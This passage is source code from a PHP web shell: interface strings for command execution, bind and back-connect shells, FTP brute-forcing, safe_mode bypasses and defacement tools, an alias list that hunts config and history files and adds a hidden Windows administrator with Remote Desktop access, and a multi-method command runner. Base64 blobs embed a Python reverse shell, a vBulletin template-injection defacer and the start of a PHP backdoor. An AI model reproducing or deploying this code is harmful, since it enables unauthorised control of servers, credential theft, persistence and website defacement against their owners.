'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_butt9' =>'Dump',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_butt10'=>'Save',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_butt11'=>'Edit file',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'upload File -2',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_butt12'=>'Find',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_butt13'=>'Create/Delete',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_butt65'=>'Create',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text955'=>'zone-h',
'eng_text995'=>'script edit index vb',
'eng_text959'=>'install script proxy',
'eng_text555'=>'xp-Cracker',
'eng_text551'=>'Inbox Mailer',
'eng_text67'=>'Chown/Chgrp/Chmod',
'ar_text128'=>'Modify/Access date(touch)',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_butt14'=>'Download',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'FTP-server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without archivation',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text102'=>'Mail',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subj',
'eng_butt15'=>'Send',
'eng_text108'=>'Mail',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_err0'=>'',
'eng_err1'=>'Error! Can\'t read file ',
'eng_err2'=>'Error! Can\'t create ',
'eng_err3'=>'Error! Can\'t connect to ftp',
'eng_err4'=>'Error! Can\'t login on ftp server',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_err6'=>'Error! Can\'t sent mail',
'eng_err7'=>'Mail send',
'eng_text200'=>'read file from vul copy()',
'eng_text202'=>'where file in server',
'eng_text300'=>'read file from vul curl()',
'eng_text203'=>'read file from vul ini_restore()',
'eng_text204'=>'write shell from vul error_log()',
'eng_text205'=>'write shell in this side',
'eng_text206'=>'read dir',
'eng_text207'=>'read dir from vul reg_glob',
'eng_text208'=>'execute with function',
'eng_text209'=>'read dir from vul root',
'eng_text210'=>'DeZender ',
'eng_text211'=>'::safe_mode off::',
'eng_text212'=>'close safe_mode with php.ini',
'eng_text213'=>'close security_mod with .htaccess',
'eng_text214'=>'Admin name',
'eng_text215'=>'IRC server ',
'eng_text216'=>'#room name',
'eng_text217'=>'server',
'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
'eng_text219'=>'Get file to server in safe_mode and change name',
'eng_text220'=>'show file with symlink vul',
'eng_text221'=>'zip file in server to download',
'eng_text222'=>'2 symlink use vul',
'eng_text223'=>'read file from funcution',
'eng_text224'=>'read file from PLUGIN ',

/* --------------------------------------------------------------- */
'ar_text1' =>'Executed command',
'ar_text2' =>'Execute command on server',
'ar_text3' =>'Run command',
'ar_text4' =>'Work directory',
'ar_text5' =>'Upload files on server',
'ar_text6' =>'Local file',
'ar_text7' =>'Aliases',
'ar_text8' =>'Select alias',
'ar_butt1' =>'Execute',
'ar_butt2' =>'Upload',
'ar_text9' =>'Bind port to /bin/bash',
'ar_text10'=>'Port',
'ar_text11'=>'Password for access',
'ar_butt3' =>'Bind',
'ar_text12'=>'back-connect',
'ar_text13'=>'IP',
'ar_text14'=>'Port',
'ar_butt4' =>'Connect',
'ar_text15'=>'Upload files from remote server',
'ar_text16'=>'With',
'ar_text17'=>'Remote file',
'ar_text18'=>'Local file',
'ar_text19'=>'Exploits',
'ar_text20'=>'Use',
'ar_text21'=>'&nbsp;New name',
'ar_text22'=>'datapipe',
'ar_text23'=>'Local port',
'ar_text24'=>'Remote host',
'ar_text25'=>'Remote port',
'ar_text26'=>'Use',
'ar_butt5' =>'Run',
'ar_text28'=>'Work in safe_mode',
'ar_text29'=>'ACCESS DENIED',
'ar_butt6' =>'Change',
'ar_text30'=>'Cat file',
'ar_butt7' =>'Show',
'ar_text31'=>'File not found',
'ar_text32'=>'Eval PHP code',
'ar_text33'=>'Test bypass open_basedir with cURL functions',
'ar_butt8' =>'Test',
'ar_text34'=>'Test bypass safe_mode with include function',
'ar_text35'=>'Test bypass safe_mode with load file in mysql',
'ar_text36'=>'Database . Table',
'ar_text37'=>'Login',
'ar_text38'=>'Password',
'ar_text39'=>'Database',
'ar_text40'=>'Dump database table',
'ar_butt9' =>'Dump',
'ar_text41'=>'Save dump in file',
'ar_text42'=>'Edit files',
'ar_text43'=>'File for edit',
'ar_butt10'=>'Save',
'ar_text44'=>'Can\'t edit file! Only read access!',
'ar_text45'=>'File saved',
'ar_text46'=>'Show phpinfo()',
'ar_text47'=>'Show variables from php.ini',
'ar_text48'=>'Delete temp files',
'ar_butt11'=>'Edit file',
'ar_text49'=>'Delete script from server',
'ar_text50'=>'View cpu info',
'ar_text51'=>'View memory info',
'ar_text52'=>'Find text',
'ar_text53'=>'In dirs',
'ar_text54'=>'Find text in files',
'ar_butt12'=>'Find',
'ar_text55'=>'Only in files',
'ar_text56'=>'Nothing :(',
'ar_text57'=>'Create/Delete File/Dir',
'ar_text58'=>'name',
'ar_text59'=>'file',
'ar_text60'=>'dir',
'ar_butt13'=>'Create/Delete',
'ar_text61'=>'File created',
'ar_text62'=>'Dir created',
'ar_text63'=>'File deleted',
'ar_text64'=>'Dir deleted',
'ar_butt65'=>'Create',
'ar_text65'=>'Create',
'ar_text66'=>'Delete',
'ar_text67'=>'Chown/Chgrp/Chmod',
'ar_text68'=>'Command',
'ar_text69'=>'param1',
'ar_text70'=>'param2',
'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'ar_text72'=>'Text for find',
'ar_text73'=>'Find in folder',
'ar_text74'=>'Find in files',
'ar_text75'=>'* you can use regexp',
'ar_text76'=>'Search text in files via find',
'ar_text80'=>'Type',
'ar_text81'=>'Net',
'ar_text82'=>'Databases',
'ar_text83'=>'Run SQL query',
'ar_text84'=>'SQL query',
'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'ar_text86'=>'Download files from server',
'ar_butt14'=>'Download',
'ar_text87'=>'Download files from remote ftp-server',
'ar_text88'=>'FTP-server:port',
'ar_text89'=>'File on ftp',
'ar_text90'=>'Transfer mode',
'ar_text91'=>'Archivation',
'ar_text92'=>'without archivation',
'ar_text93'=>'FTP',
'ar_text94'=>'FTP-bruteforce',
'ar_text95'=>'Users list',
'ar_text96'=>'Can\'t get users list',
'ar_text97'=>'checked: ',
'ar_text98'=>'success: ',
'ar_text99'=>'* use username from /etc/passwd for ftp login and password',
'ar_text100'=>'Send file to remote ftp server',
'ar_text101'=>'Use reverse (user -> resu) login for password',
'ar_text102'=>'Mail',
'ar_text103'=>'Send email',
'ar_text104'=>'Send file to email',
'ar_text105'=>'To',
'ar_text106'=>'From',
'ar_text107'=>'Subj',
'ar_butt15'=>'Send',
'ar_text108'=>'Mail',
'ar_text109'=>'Hide',
'ar_text110'=>'Show',
'ar_text111'=>'SQL-Server : Port',
'ar_text112'=>'Test bypass safe_mode with function mb_send_mail',
'ar_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'ar_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'ar_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
'ar_text116'=>'Copy from',
'ar_text117'=>'to',
'ar_text118'=>'File copied',
'ar_text119'=>'Cant copy file',
'ar_err0'=>'Error! Can\'t write in file ',
'ar_err1'=>'Error! Can\'t read file ',
'ar_err2'=>'Error! Can\'t create ',
'ar_err3'=>'Error! Can\'t connect to ftp',
'ar_err4'=>'Error! Can\'t login on ftp server',
'ar_err5'=>'Error! Can\'t change dir on ftp',
'ar_err6'=>'Error! Can\'t sent mail',
'ar_err7'=>'Mail send',
'ar_text200'=>'read file from vul copy()',
'ar_text202'=>'where file in server',
'ar_text300'=>'read file from vul curl()',
'ar_text203'=>'read file from vul ini_restore()',
'ar_text204'=>'write shell from vul error_log()',
'ar_text205'=>'write shell in this side',
'ar_text206'=>'read dir',
'ar_text207'=>'read dir from vul reg_glob',
'ar_text208'=>'execute with function',
'ar_text209'=>'read dir from vul root',
'ar_text210'=>'DeZender ',
'ar_text211'=>'::safe_mode off::',
'ar_text212'=>'colse safe_mode with php.ini',
'ar_text213'=>'colse security_mod with .htaccess',
'ar_text214'=>'Admin name',
'ar_text215'=>'IRC server ',
'ar_text216'=>'#room name',
'ar_text217'=>'server',
'ar_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
'ar_text219'=>'Get file to server in safe_mode and change name',
'ar_text220'=>'show file with symlink vul',
'ar_text221'=>'zip file in server to download',
'ar_text222'=>'2 symlink use vul',
'ar_text223'=>'read file from funcution',
'ar_text224'=>'read file from PLUGIN ',
);
$aliases=array(
'________________for server unix ______________-'=>'dir -ao',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find /  -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'show opened ports'=>'netstat -an | grep -i listen',
'________________for server windows ______________-'=>'dir',
'1_add new user'=>'net user h1kt0s4 123456 /add',
'2_add your user for admin group'=>'net localgroup administrators h1kt0s4 /add',
'3_add your user for Remote Desktop group'=>'net localgroup "Remote Desktop Users" h1kt0s4 /add',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$table_up1  = "<tr><td bgcolor=#272727><font face=tahoma size=-2><b><div align=center>:: ";
$table_up2  = " ::</div></b></font></td></tr><tr><td>";
$table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#333333>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=#736F6E>[</font>";
$rb = "<font color=#736F6E>]</font>";
$font = "<font face=tahoma size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";

if(isset($_GET['users']))
 {
 if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
 else
  {
  echo '<center><textarea cols=20 rows=20>';
  foreach($users as $user) { echo $user."<br>"; }
  echo '</textarea></center>';
  }
 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
 }

if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
$dir = @getcwd();
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
 {
 $os = getenv('OS');
 if(empty($os)){ $os = php_uname(); }
 if(empty($os)){ $os ="-"; $unix=1; }
 else
    {
    if(@eregi("^win",$os)) { $unix = 0; }
    else { $unix = 1; }
    }
 }
if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  {
    echo $head;
    if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
    else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
    $sr->SearchText(0,0);
    $res = $sr->GetResultFiles();
    $found = $sr->GetMatchesCount();
    $titles = $sr->GetTitles();
    $r = "";
    if($found > 0)
    {
      $r .= "<TABLE width=100%>";
      foreach($res as $file=>$v)
      {
        $r .= "<TR>";
        $r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3);
        $r .= (!$unix)? str_replace("/","\\",$file) : $file;
        $r .= "</b></font></ TD>";
        $r .= "</TR>";
        foreach($v as $a=>$b)
        {
          $r .= "<TR>";
          $r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>";
          $r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>";
          $r .= "</TR>\n";
        }
      }
      $r .= "</TABLE>";
    echo $r;
    }
    else
    {
      echo "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>";
    }
  echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  die();
  }
if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat("&nbsp;",$i);
}
function ex($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("\n",$res);
   }
  elseif(function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }
 }
 return $res;
}
function get_users()
{
  $users = array();
  $rows=file('/etc/passwd');
  if(!$rows) return 0;
  foreach ($rows as $string)
   {
           $user = @explode(":",$string);
           if(substr($string,0,1)!='#') array_push($users,$user[0]);
   }
  return $users;
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
 $ret = "<input type=".$type." name=".$name." ";
 if($size != 0) { $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\"";
 if($checked) $ret .= " checked";
 return $ret.">";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
 $w_file=@fopen($fname,"w") or err(0);
 if($w_file)
 {
 @fputs($w_file,base64_decode($text));
 @fclose($w_file);
 }
}
function sr($l,$t1,$t2)
 {
 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
 }
if (!@function_exists("view_size"))
{
function view_size($size)
{
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 else {$size = $size . " B";}
 return $size;
}
}
  function DirFilesR($dir,$types='')
  {
    $files = Array();
    if(($handle = @opendir($dir)))
    {
      while (false !== ($file = @readdir($handle)))
      {
        if ($file != "." && $file != "..")
        {
          if(@is_dir($dir."/".$file))
            $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
          else
          {
            $pos = @strrpos($file,".");
            $ext = @substr($file,$pos,@strlen($file)-$pos);
            if($types)
            {
              if(@in_array($ext,explode(';',$types)))
                $files[] = $dir."/".$file;
            }
            else
              $files[] = $dir."/".$file;
          }
        }
      }
      @closedir($handle);
    }
    return $files;
  }
  class SearchResult
  {
    var $text;
    var $FilesToSearch;
    var $ResultFiles;
    var $FilesTotal;
    var $MatchesCount;
    var $FileMatschesCount;
    var $TimeStart;
    var $TimeTotal;
    var $titles;
    function SearchResult($dir,$text,$filter='')
    {
      $dirs = @explode(";",$dir);
      $this->FilesToSearch = Array();
      for($a=0;$a<count($dirs);$a++)
        $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
      $this->text = $text;
      $this->FilesTotal = @count($this->FilesToSearch);
      $this->TimeStart = getmicrotime();
      $this->MatchesCount = 0;
      $this->ResultFiles = Array();
      $this->FileMatchesCount = Array();
      $this->titles = Array();
    }
    function GetFilesTotal() { return $this->FilesTotal; }
    function GetTitles() { return $this->titles; }
    function GetTimeTotal() { return $this->TimeTotal; }
    function GetMatchesCount() { return $this->MatchesCount; }
    function GetFileMatchesCount() { return $this->FileMatchesCount; }
    function GetResultFiles() { return $this->ResultFiles; }
    function SearchText($phrase=0,$case=0) {
    $qq = @explode(' ',$this->text);
    $delim = '|';
      if($phrase)
        foreach($qq as $k=>$v)
          $qq[$k] = '\b'.$v.'\b';
      $words = '('.@implode($delim,$qq).')';
      $pattern = "/".$words."/";
      if(!$case)
        $pattern .= 'i';
      foreach($this->FilesToSearch as $k=>$filename)
      {
        $this->FileMatchesCount[$filename] = 0;
        $FileStrings = @file($filename) or @next;
        for($a=0;$a<@count($FileStrings);$a++)
        {
          $count = 0;
          $CurString = $FileStrings[$a];
          $CurString = @Trim($CurString);
          $CurString = @strip_tags($CurString);
          $aa = '';
          if(($count = @preg_match_all($pattern,$CurString,$aa)))
          {
            $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
            $this->ResultFiles[$filename][$a+1] = $CurString;
            $this->MatchesCount += $count;
            $this->FileMatchesCount[$filename] += $count;
          }
        }
      }
      $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
    }
  }
  function getmicrotime()
  {
    list($usec,$sec) = @explode(" ",@microtime());
    return ((float)$usec + (float)$sec);
  }
$back_python="IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3Zb
MV0KUE9SVCA9IGludChzeXMuYXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0g
c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29u
bmVjdCgoSE9TVCxQT1JUKSkKdHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAg
b3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQog
ICAgb3Muc3lzdGVtKFNIRUxMKQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2su
Y2xvc2UoKQ==";
$vbb="PD9waHAKLyoKICAgfC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58
LnwufC58LnwKIHwufCMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjI3wufAogfC58IyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAjfC58CiB8LnwjICA8PT0tfEFMLU1vR3JNfC09PT4gLSA8PT0tfHQwdkBIb1RtQWlM
LkNvTS09PT4gICN8LnwKIHwufCMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgI3wufAogfC58IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjfC58CiAgIHwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58
LnwufC58LnwufC58LnwufC58CiovCgo/Pgo8aHRtbD48c3R5bGU+CmlucHV0LCBzZWxlY3QsIHRl
eHRhcmVhIHsKYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKYm9yZGVyLXN0eWxlOiAjN2E3Yzdk
Owpib3JkZXItd2lkdGg6IDFweDsKZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsLCBzYW5zLXNl
cmlmOwpmb250LXNpemU6IDExcHg7CmNvbG9yOiAjN2E3YzdkOwpwYWRkaW5nOiAwcHg7Cn0KQTps
aW5rIHsKQ09MT1I6I0EyQTJBMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsK
Q09MT1I6I0EyQTJBMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewpDT0xPUjoj
Nzg3ODc4OyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKY29sb3I6IzhDOEM4QztU
RVhULURFQ09SQVRJT046IG5vbmUKfQo8L3N0eWxlPgo8aGVhZD4KICA8dGl0bGU+Q2hhbmdlIEFs
bCBwYWdlcyBGb3IgRm9ydW08L3RpdGxlPgogIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlw
ZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4KPC9oZWFkPgogICAgICAgPGJv
ZHkgYmdjb2xvcj0iYmxhY2siIHRleHQ9IiM3YTdjN2QiPgogICAgICAgPGRpdiBhbGlnbj0iY2Vu
dGVyIj4KICAgICAgPEgyPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNDAwIj48Zm9udCBmYWNl
PSJUcmVidWNoZXQgTVMiIHNpemU9IjQiPgoJCTxmb250IGNvbG9yPSIjMDBGRjAwIj4mbmJzcDt2
QiBJbmRleCBDaGFuZ2VyPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gCgkJfCA8L2ZvbnQ+
Q29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPkFMLU0wR3JNIHw8L2ZvbnQ+IEVkaXQgQnkK
CQk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VGhlIFN3b3JkPC9mb250PjwvZm9udD48L3NwYW4+PC9I
Mj4KCQk8Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjQzBDMEMwIj50aGUtbG9uZWx5OTJAYXR0
Lm5ldDwvZm9udD48cD4KCQk8Zm9udCBmYWNlPSJUYWhvbWEiPiEgQ2hhbmdlIEFsbCBQYWdlcyBG
b3IgRm9ydW0gISZuYnNwOwo8YnI+PC9mb250Pjxicj4KICAgICAgPD8KCmlmKGVtcHR5KCRfUE9T
VFsnaW5kZXgnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhvc3QgOiA8SU5QVVQg
c2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxob3N0XCIgdHlwZT1c
InRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJmb3J1bV92Ylwi
IG5hbWU9XCJkYXRhYmFzZVwiIHR5cGU9XCJ0ZXh0XCI+PGJyPgp1c2VybmFtZSA6IDxJTlBVVCBz
aXplPVwiMTVcIiB2YWx1ZT1cImZvcnVtX3ZiXCIgbmFtZT1cInVzZXJuYW1lXCIgdHlwZT1cInRl
eHRcIj4KcGFzc3dvcmQgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJ2YlwiIG5hbWU9XCJw
YXNzd29yZFwiIHR5cGU9XCJwYXNzd29yZFwiPjxicj4KICAgICAgPGJyPgo8dGV4dGFyZWEgbmFt
ZT1cImluZGV4XCIgY29scz1cIjcwXCIgcm93cz1cIjMwXCI+U2V0IFlvdXIgSW5kZXg8L3RleHRh
cmVhPjxicj4KPElOUFVUIHZhbHVlPVwiU2V0XCIgbmFtZT1cInNlbmRcIiB0eXBlPVwic3VibWl0
XCI+CjwvRk9STT4iOwp9ZWxzZXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107CiRk
YXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107CiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJu
YW1lJ107CiRwYXNzd29yZCAgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CiRpbmRleCAgICAgPSAkX1BP
U1RbJ2luZGV4J107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1l
LCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgICBAbXlzcWxfc2VsZWN0
X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwoKJGluZGV4PXN0cl9yZXBsYWNl
KCJcJyIsIiciLCRpbmRleCk7Cgokc2V0X2luZGV4ICA9ICJ7XCR7ZXZhbChiYXNlNjRfZGVjb2Rl
KFwnIjsKCiRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyBcIiRpbmRleFwiOyIpOwoK
CiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsKCiRvaz1AbXlz
cWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRzZXRfaW5kZXguIicg
V0hFUkUgdGl0bGUgPSdzcGFjZXJfb3BlbiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CgppZigk
b2spewplY2hvICIhISB1cGRhdGUgZmluaXNoICEhPGJyPjxicj4iOwp9Cgp9CiMgRm9vdGVyCmVj
aG8gIjxzdHJvbmc+U3BlY2lhTCBHcmVlVHogVG8gOjwvc3Ryb25nPiA8dT5Nb2hhamVyMjI8L3U+
IjsKPz4=";
$backdoor_php1="PD9waHAKCiRpcGFkZHI9JGFyZ3ZbMV07CiRwb3J0PSRhcmd2WzJdOyAKQHNldF90aW1lX2xpbWl0
KDApOwpAaWdub3JlX3VzZXJfYWJvcnQoMSk7IApAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1l
